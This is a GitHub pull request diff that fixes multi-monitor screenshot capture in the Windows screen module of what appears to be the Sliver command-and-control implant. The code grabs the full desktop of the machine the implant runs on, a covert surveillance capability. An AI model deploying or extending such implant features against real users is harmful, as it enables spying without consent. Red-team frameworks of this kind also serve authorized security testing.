Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

FIX windows screenshot when multiple monitors are used #1222

Merged
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 6 additions & 7 deletions implant/sliver/screen/screenshot_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@ package screen

import (
"bytes"
"image"
"image/png"

//{{if .Config.Debug}}
Expand All @@ -28,7 +29,7 @@ import (
screen "github.com/kbinani/screenshot"
)

//Screenshot - Retrieve the screenshot of the active displays
// Screenshot - Retrieve the screenshot of the active displays
func Screenshot() []byte {
return WindowsCapture()
}
Expand All @@ -37,15 +38,13 @@ func Screenshot() []byte {
func WindowsCapture() []byte {
nDisplays := screen.NumActiveDisplays()

var height, width int = 0, 0
var all image.Rectangle = image.Rect(0, 0, 0, 0)

for i := 0; i < nDisplays; i++ {
rect := screen.GetDisplayBounds(i)
if rect.Dy() > height {
height = rect.Dy()
}
width += rect.Dx()
all = rect.Union(all)
}
img, err := screen.Capture(0, 0, width, height)
img, err := screen.Capture(all.Min.X, all.Min.Y, all.Dx(), all.Dy())

if err != nil {
//{{if .Config.Debug}}
Expand Down